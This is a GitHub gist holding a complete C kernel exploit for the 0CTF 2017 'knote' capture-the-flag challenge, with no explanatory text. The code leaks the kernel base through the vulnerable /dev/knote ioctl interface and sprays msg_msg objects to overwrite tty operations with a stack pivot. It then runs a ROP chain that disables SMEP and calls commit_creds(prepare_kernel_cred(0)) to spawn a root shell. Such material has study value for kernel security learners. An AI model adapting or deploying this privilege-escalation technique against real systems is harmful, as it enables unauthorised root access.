Created
December 20, 2018 14:57
-
-
Save hama7230/10772ba9e1a0abb610fa38834c30961b to your computer and use it in GitHub Desktop.
0CTF 2017 Quals knote
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/ipc.h> | |
#include <sys/msg.h> | |
unsigned long kernel_base; | |
unsigned long n_tty_ops = 0xebe920; | |
unsigned long stack_pivot = 0xffffffff81156f10 - 0xffffffff81000000; // : mov esp, 0x5D000080 ; ret ; (1 found) | |
unsigned long mod_cr4 = 0xffffffff8101ae00 - 0xffffffff81000000; //: mov cr4, edi ; pop rbp ; ret ; (1 found) | |
unsigned long pop_rdi = 0xffffffff8143f7cc - 0xffffffff81000000; //: pop rdi ; ret ; (1 found) | |
struct cred; | |
struct task_struct; | |
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3))); | |
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3))); | |
prepare_kernel_cred_t prepare_kernel_cred; | |
commit_creds_t commit_creds; | |
char* user_stack; | |
unsigned long user_cs; | |
unsigned long user_ss; | |
unsigned long user_rflags; | |
static void save_state() { | |
__asm__("mov %0, cs\n" | |
"mov %1, ss\n" | |
"pushfq\n" | |
"popq %2\n" | |
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags) | |
: | |
:"memory" | |
); | |
} | |
void launch_shell(void) { | |
system("/bin/sh"); | |
} | |
void get_root(void) { | |
commit_creds(prepare_kernel_cred(0)); | |
unsigned long* a = n_tty_ops + 0x40; | |
*a = (kernel_base + 0x50eee0); | |
__asm__("swapgs\n" | |
"mov rax, %0\n" | |
"push rax\n" | |
"mov rax, %1\n" | |
"push rax\n" | |
"mov rax, %2\n" | |
"push rax\n" | |
"mov rax, %3\n" | |
"push rax\n" | |
"mov rax, %4\n" | |
"push rax\n" | |
"iretq\n" | |
: | |
:"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell) | |
:"memory" | |
); | |
} | |
int fd; | |
int ptmx_fds[0x100]; | |
void open_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR); | |
} | |
void close_ptmx(void) { | |
for (int i=0; i<0x100; i++) | |
close(ptmx_fds[i]); | |
} | |
struct msgbuf{ | |
long mtype; | |
char mtext[0x60-0x30]; | |
} mb; | |
void alloc_msg(unsigned long next, unsigned long prev) { | |
memset(mb.mtext, 0xff, sizeof(mb.mtext)); | |
memcpy(mb.mtext+0x18, &next, 8); | |
memcpy(mb.mtext+0x20, &prev, 8); | |
for (int i=0; i<0x100; i++) { | |
int qid = msgget(i, IPC_CREAT | 0666); | |
mb.mtype = 0xdead; | |
msgsnd(qid, &mb, 0x60-0x30, 0); | |
} | |
} | |
void free_msg(void) { | |
for (int i=0; i<0x100; i++) { | |
int qid = msgget(i, IPC_CREAT | 0666); | |
msgrcv(qid, &mb, sizeof(mb.mtext), 0xdead, MSG_NOERROR | IPC_NOWAIT); | |
} | |
} | |
struct arg_add { | |
char name[0x30]; | |
unsigned long size; | |
char* ptr; | |
} add; | |
void add_note(uint64_t size, char* buf) { | |
memset(add.name, 'A', 0x30); | |
add.size = size; | |
add.ptr = buf; | |
ioctl(fd, 0x1337, &add); | |
} | |
struct arg_delete { | |
unsigned long id; | |
char name[0x30]; | |
} del; | |
void delete_note(unsigned long id) { | |
memset(del.name, 'A', 0x30); | |
del.id = id; | |
if (ioctl(fd, 0x1338, &del) < 0) { | |
puts("delete_note error"); | |
exit(1); | |
} | |
} | |
struct arg_read { | |
unsigned long id; | |
char name[0x30]; | |
unsigned long size; | |
char* buf; | |
} rea; | |
void read_note(unsigned long id, unsigned long size, char* buf) { | |
memset(rea.name, 'A', 0x30); | |
rea.id = id; | |
rea.size = size; | |
rea.buf = buf; | |
if (ioctl(fd, 0x1339, &rea) < 0) { | |
puts("read_note error"); | |
exit(2); | |
} | |
} | |
int main(void) { | |
unsigned long tmp[0x100/8]; | |
unsigned long* fake_stack; | |
user_stack = (char*)tmp; | |
save_state(); | |
fake_stack = mmap(0x5D000000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
puts("open /dev/knote"); | |
fd = open("/dev/knote", O_RDWR); | |
if (fd < 0) { | |
puts("open error"); | |
exit(1); | |
} | |
puts("leak kernel address"); | |
open_ptmx(); | |
close_ptmx(); | |
memset(tmp, 'x', 0x10); | |
add_note(0x10, (char*)tmp); | |
memset(tmp, 0, 0x100); | |
read_note(0xdeadbeef, 0x100, (char*)tmp); | |
kernel_base = tmp[3] - 0xa7ba00; | |
printf("kernel_base = 0x%lx\n", kernel_base); | |
n_tty_ops += kernel_base; | |
prepare_kernel_cred = kernel_base + 0xa5930; | |
commit_creds = kernel_base + 0xa5540; | |
printf("pkc = 0x%lx\n", prepare_kernel_cred); | |
printf("cc = 0x%lx\n", commit_creds); | |
unsigned long value = kernel_base + stack_pivot; | |
unsigned long lower = value & 0xffffffff; | |
unsigned long upper = (value & 0xffffffff00000000) >> 32; | |
mmap(lower & 0xfffff000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
mmap(upper & 0xfffff000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); | |
alloc_msg(lower, n_tty_ops + 0x40); | |
free_msg(); | |
add_note(0xbeef, (char*)tmp); | |
alloc_msg(upper, n_tty_ops + 0x40 + 4); | |
free_msg(); | |
add_note(0xbeef, (char*)tmp); | |
fake_stack += (0x8080/8); | |
*fake_stack++ = pop_rdi + kernel_base; | |
*fake_stack++ = 0x006f0; | |
*fake_stack++ = mod_cr4 + kernel_base; | |
*fake_stack++ = 0xdeadbeef; | |
*fake_stack++ = (unsigned long)get_root; | |
char a[20]; | |
fgets(a, sizeof(a), stdin); | |
while (1); | |
close(fd); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment